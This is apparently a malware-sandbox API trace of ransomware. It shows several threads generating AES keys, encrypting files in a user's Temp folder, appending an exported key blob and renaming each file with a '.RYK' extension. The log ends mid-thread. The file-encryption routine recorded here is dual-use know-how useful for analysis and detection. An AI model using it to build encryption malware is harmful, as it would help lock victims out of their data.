	[0255.861] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x97afb50, pdwDataLen=0x97afae0 | out: pbData=0x97afb50*, pdwDataLen=0x97afae0*=0x10c) returned 1
	[0255.861] WriteFile (in: hFile=0x69c, lpBuffer=0x97afb50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x97afad0, lpOverlapped=0x0 | out: lpBuffer=0x97afb50*, lpNumberOfBytesWritten=0x97afad0*=0x10c, lpOverlapped=0x0) returned 1
	[0255.861] CloseHandle (hObject=0x69c) returned 1
	[0255.862] CryptDestroyKey (hKey=0x3f8030) returned 1
	[0255.862] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lqxKQ3ka3.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxkq3ka3.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\lqxKQ3ka3.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lqxkq3ka3.mp3.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3449
	os_tid = 0x3b98

	[0255.867] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LYl8hL0zcGiP.flv", dwFileAttributes=0x80) returned 1
	[0256.189] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LYl8hL0zcGiP.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lyl8hl0zcgip.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c
	[0256.190] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x964faf8 | out: lpFileSize=0x964faf8*=22634) returned 1
	[0256.190] GetFileSizeEx (in: hFile=0x69c, lpFileSize=0x964fb08 | out: lpFileSize=0x964fb08*=22634) returned 1
	[0256.190] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x5748, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.190] ReadFile (in: hFile=0x69c, lpBuffer=0x964fb50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x964fac0, lpOverlapped=0x0 | out: lpBuffer=0x964fb50*, lpNumberOfBytesRead=0x964fac0*=0x19, lpOverlapped=0x0) returned 1
	[0256.191] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.192] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x964fad8 | out: phKey=0x964fad8*=0x3f7af0) returned 1
	[0256.192] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.192] ReadFile (in: hFile=0x69c, lpBuffer=0x3680000, nNumberOfBytesToRead=0x586a, lpNumberOfBytesRead=0x964fae4, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesRead=0x964fae4*=0x586a, lpOverlapped=0x0) returned 1
	[0256.192] CryptEncrypt (in: hKey=0x3f7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x964fae0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x964fae0*=0xf4250) returned 1
	[0256.192] CryptEncrypt (in: hKey=0x3f7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3680000*, pdwDataLen=0x964fae8*=0x586a, dwBufLen=0xf4250 | out: pbData=0x3680000*, pdwDataLen=0x964fae8*=0x5870) returned 1
	[0256.192] SetFilePointer (in: hFile=0x69c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.192] WriteFile (in: hFile=0x69c, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x5870, lpNumberOfBytesWritten=0x964fae4, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x964fae4*=0x5870, lpOverlapped=0x0) returned 1
	[0256.193] WriteFile (in: hFile=0x69c, lpBuffer=0x964fb10*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x964faf0, lpOverlapped=0x0 | out: lpBuffer=0x964fb10*, lpNumberOfBytesWritten=0x964faf0*=0x6, lpOverlapped=0x0) returned 1
	[0256.193] CryptExportKey (in: hKey=0x3f7af0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x964fb00 | out: pbData=0x0*, pdwDataLen=0x964fb00*=0x10c) returned 1
	[0256.193] CryptExportKey (in: hKey=0x3f7af0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x964fb70, pdwDataLen=0x964fb00 | out: pbData=0x964fb70*, pdwDataLen=0x964fb00*=0x10c) returned 1
	[0256.193] WriteFile (in: hFile=0x69c, lpBuffer=0x964fb70*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x964faf0, lpOverlapped=0x0 | out: lpBuffer=0x964fb70*, lpNumberOfBytesWritten=0x964faf0*=0x10c, lpOverlapped=0x0) returned 1
	[0256.193] CloseHandle (hObject=0x69c) returned 1
	[0256.194] CryptDestroyKey (hKey=0x3f7af0) returned 1
	[0256.194] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LYl8hL0zcGiP.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lyl8hl0zcgip.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LYl8hL0zcGiP.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lyl8hl0zcgip.flv.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3450
	os_tid = 0x3b9c

	[0256.038] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nBP 6drY_iC njnK.wav", dwFileAttributes=0x80) returned 1
	[0256.394] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nBP 6drY_iC njnK.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbp 6dry_ic njnk.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0
	[0256.394] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x99bf798 | out: lpFileSize=0x99bf798*=89204) returned 1
	[0256.394] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x99bf7a8 | out: lpFileSize=0x99bf7a8*=89204) returned 1
	[0256.394] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x15b52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.394] ReadFile (in: hFile=0x6d0, lpBuffer=0x99bf7f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x99bf760, lpOverlapped=0x0 | out: lpBuffer=0x99bf7f0*, lpNumberOfBytesRead=0x99bf760*=0x19, lpOverlapped=0x0) returned 1
	[0256.396] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.396] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x99bf778 | out: phKey=0x99bf778*=0x3f8030) returned 1
	[0256.396] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.396] ReadFile (in: hFile=0x6d0, lpBuffer=0x3780000, nNumberOfBytesToRead=0x15c74, lpNumberOfBytesRead=0x99bf784, lpOverlapped=0x0 | out: lpBuffer=0x3780000*, lpNumberOfBytesRead=0x99bf784*=0x15c74, lpOverlapped=0x0) returned 1
	[0256.397] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x99bf780*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x99bf780*=0xf4250) returned 1
	[0256.397] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3780000*, pdwDataLen=0x99bf788*=0x15c74, dwBufLen=0xf4250 | out: pbData=0x3780000*, pdwDataLen=0x99bf788*=0x15c80) returned 1
	[0256.398] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.398] WriteFile (in: hFile=0x6d0, lpBuffer=0x3780000*, nNumberOfBytesToWrite=0x15c80, lpNumberOfBytesWritten=0x99bf784, lpOverlapped=0x0 | out: lpBuffer=0x3780000*, lpNumberOfBytesWritten=0x99bf784*=0x15c80, lpOverlapped=0x0) returned 1
	[0256.398] WriteFile (in: hFile=0x6d0, lpBuffer=0x99bf7b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x99bf790, lpOverlapped=0x0 | out: lpBuffer=0x99bf7b0*, lpNumberOfBytesWritten=0x99bf790*=0x6, lpOverlapped=0x0) returned 1
	[0256.399] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99bf7a0 | out: pbData=0x0*, pdwDataLen=0x99bf7a0*=0x10c) returned 1
	[0256.399] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x99bf810, pdwDataLen=0x99bf7a0 | out: pbData=0x99bf810*, pdwDataLen=0x99bf7a0*=0x10c) returned 1
	[0256.399] WriteFile (in: hFile=0x6d0, lpBuffer=0x99bf810*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x99bf790, lpOverlapped=0x0 | out: lpBuffer=0x99bf810*, lpNumberOfBytesWritten=0x99bf790*=0x10c, lpOverlapped=0x0) returned 1
	[0256.399] CloseHandle (hObject=0x6d0) returned 1
	[0256.400] CryptDestroyKey (hKey=0x3f8030) returned 1
	[0256.400] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nBP 6drY_iC njnK.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbp 6dry_ic njnk.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nBP 6drY_iC njnK.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbp 6dry_ic njnk.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3451
	os_tid = 0x3ba8

	[0256.039] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\O1d V02Bb-Yyjax.ppt", dwFileAttributes=0x80) returned 1
	[0256.401] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\O1d V02Bb-Yyjax.ppt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\o1d v02bb-yyjax.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0
	[0256.402] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x8dcf718 | out: lpFileSize=0x8dcf718*=28712) returned 1
	[0256.402] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x8dcf728 | out: lpFileSize=0x8dcf728*=28712) returned 1
	[0256.402] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x6f06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.402] ReadFile (in: hFile=0x6d0, lpBuffer=0x8dcf770, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8dcf6e0, lpOverlapped=0x0 | out: lpBuffer=0x8dcf770*, lpNumberOfBytesRead=0x8dcf6e0*=0x19, lpOverlapped=0x0) returned 1
	[0256.404] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.404] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8dcf6f8 | out: phKey=0x8dcf6f8*=0x3f7c40) returned 1
	[0256.404] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.404] ReadFile (in: hFile=0x6d0, lpBuffer=0x2610000, nNumberOfBytesToRead=0x7028, lpNumberOfBytesRead=0x8dcf704, lpOverlapped=0x0 | out: lpBuffer=0x2610000*, lpNumberOfBytesRead=0x8dcf704*=0x7028, lpOverlapped=0x0) returned 1
	[0256.404] CryptEncrypt (in: hKey=0x3f7c40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8dcf700*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8dcf700*=0xf4250) returned 1
	[0256.404] CryptEncrypt (in: hKey=0x3f7c40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2610000*, pdwDataLen=0x8dcf708*=0x7028, dwBufLen=0xf4250 | out: pbData=0x2610000*, pdwDataLen=0x8dcf708*=0x7030) returned 1
	[0256.404] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.405] WriteFile (in: hFile=0x6d0, lpBuffer=0x2610000*, nNumberOfBytesToWrite=0x7030, lpNumberOfBytesWritten=0x8dcf704, lpOverlapped=0x0 | out: lpBuffer=0x2610000*, lpNumberOfBytesWritten=0x8dcf704*=0x7030, lpOverlapped=0x0) returned 1
	[0256.405] WriteFile (in: hFile=0x6d0, lpBuffer=0x8dcf730*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8dcf710, lpOverlapped=0x0 | out: lpBuffer=0x8dcf730*, lpNumberOfBytesWritten=0x8dcf710*=0x6, lpOverlapped=0x0) returned 1
	[0256.405] CryptExportKey (in: hKey=0x3f7c40, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8dcf720 | out: pbData=0x0*, pdwDataLen=0x8dcf720*=0x10c) returned 1
	[0256.405] CryptExportKey (in: hKey=0x3f7c40, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8dcf790, pdwDataLen=0x8dcf720 | out: pbData=0x8dcf790*, pdwDataLen=0x8dcf720*=0x10c) returned 1
	[0256.405] WriteFile (in: hFile=0x6d0, lpBuffer=0x8dcf790*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8dcf710, lpOverlapped=0x0 | out: lpBuffer=0x8dcf790*, lpNumberOfBytesWritten=0x8dcf710*=0x10c, lpOverlapped=0x0) returned 1
	[0256.405] CloseHandle (hObject=0x6d0) returned 1
	[0256.407] CryptDestroyKey (hKey=0x3f7c40) returned 1
	[0256.407] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\O1d V02Bb-Yyjax.ppt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\o1d v02bb-yyjax.ppt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\O1d V02Bb-Yyjax.ppt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\o1d v02bb-yyjax.ppt.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3452
	os_tid = 0x3bac

	[0256.040] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qz-EhFMmP0nfJPHKxYa.mp3", dwFileAttributes=0x80) returned 1
	[0256.412] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qz-EhFMmP0nfJPHKxYa.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qz-ehfmmp0nfjphkxya.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0
	[0256.412] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x8f3f6f8 | out: lpFileSize=0x8f3f6f8*=38497) returned 1
	[0256.412] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x8f3f708 | out: lpFileSize=0x8f3f708*=38497) returned 1
	[0256.412] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x953f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.413] ReadFile (in: hFile=0x6d0, lpBuffer=0x8f3f750, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f3f6c0, lpOverlapped=0x0 | out: lpBuffer=0x8f3f750*, lpNumberOfBytesRead=0x8f3f6c0*=0x19, lpOverlapped=0x0) returned 1
	[0256.414] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.414] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8f3f6d8 | out: phKey=0x8f3f6d8*=0x3f7c40) returned 1
	[0256.414] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.414] ReadFile (in: hFile=0x6d0, lpBuffer=0x2b00000, nNumberOfBytesToRead=0x9661, lpNumberOfBytesRead=0x8f3f6e4, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesRead=0x8f3f6e4*=0x9661, lpOverlapped=0x0) returned 1
	[0256.415] CryptEncrypt (in: hKey=0x3f7c40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8f3f6e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8f3f6e0*=0xf4250) returned 1
	[0256.415] CryptEncrypt (in: hKey=0x3f7c40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b00000*, pdwDataLen=0x8f3f6e8*=0x9661, dwBufLen=0xf4250 | out: pbData=0x2b00000*, pdwDataLen=0x8f3f6e8*=0x9670) returned 1
	[0256.415] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.415] WriteFile (in: hFile=0x6d0, lpBuffer=0x2b00000*, nNumberOfBytesToWrite=0x9670, lpNumberOfBytesWritten=0x8f3f6e4, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesWritten=0x8f3f6e4*=0x9670, lpOverlapped=0x0) returned 1
	[0256.757] WriteFile (in: hFile=0x6d0, lpBuffer=0x8f3f710*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8f3f6f0, lpOverlapped=0x0 | out: lpBuffer=0x8f3f710*, lpNumberOfBytesWritten=0x8f3f6f0*=0x6, lpOverlapped=0x0) returned 1
	[0256.757] CryptExportKey (in: hKey=0x3f7c40, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8f3f700 | out: pbData=0x0*, pdwDataLen=0x8f3f700*=0x10c) returned 1
	[0256.757] CryptExportKey (in: hKey=0x3f7c40, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8f3f770, pdwDataLen=0x8f3f700 | out: pbData=0x8f3f770*, pdwDataLen=0x8f3f700*=0x10c) returned 1
	[0256.757] WriteFile (in: hFile=0x6d0, lpBuffer=0x8f3f770*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8f3f6f0, lpOverlapped=0x0 | out: lpBuffer=0x8f3f770*, lpNumberOfBytesWritten=0x8f3f6f0*=0x10c, lpOverlapped=0x0) returned 1
	[0256.757] CloseHandle (hObject=0x6d0) returned 1
	[0256.758] CryptDestroyKey (hKey=0x3f7c40) returned 1
	[0256.759] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qz-EhFMmP0nfJPHKxYa.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qz-ehfmmp0nfjphkxya.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\qz-EhFMmP0nfJPHKxYa.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\qz-ehfmmp0nfjphkxya.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3453
	os_tid = 0x3bb0

	[0256.040] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rUJZ.gif", dwFileAttributes=0x80) returned 1
	[0256.416] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rUJZ.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rujz.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0256.416] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x910fbb8 | out: lpFileSize=0x910fbb8*=43901) returned 1
	[0256.416] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x910fbc8 | out: lpFileSize=0x910fbc8*=43901) returned 1
	[0256.416] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0xaa5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.416] ReadFile (in: hFile=0x6cc, lpBuffer=0x910fc10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x910fb80, lpOverlapped=0x0 | out: lpBuffer=0x910fc10*, lpNumberOfBytesRead=0x910fb80*=0x19, lpOverlapped=0x0) returned 1
	[0256.418] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.418] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x910fb98 | out: phKey=0x910fb98*=0x3f8030) returned 1
	[0256.418] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.418] ReadFile (in: hFile=0x6cc, lpBuffer=0x3080000, nNumberOfBytesToRead=0xab7d, lpNumberOfBytesRead=0x910fba4, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesRead=0x910fba4*=0xab7d, lpOverlapped=0x0) returned 1
	[0256.418] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x910fba0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x910fba0*=0xf4250) returned 1
	[0256.418] CryptEncrypt (in: hKey=0x3f8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3080000*, pdwDataLen=0x910fba8*=0xab7d, dwBufLen=0xf4250 | out: pbData=0x3080000*, pdwDataLen=0x910fba8*=0xab80) returned 1
	[0256.419] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.419] WriteFile (in: hFile=0x6cc, lpBuffer=0x3080000*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x910fba4, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesWritten=0x910fba4*=0xab80, lpOverlapped=0x0) returned 1
	[0256.760] WriteFile (in: hFile=0x6cc, lpBuffer=0x910fbd0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x910fbb0, lpOverlapped=0x0 | out: lpBuffer=0x910fbd0*, lpNumberOfBytesWritten=0x910fbb0*=0x6, lpOverlapped=0x0) returned 1
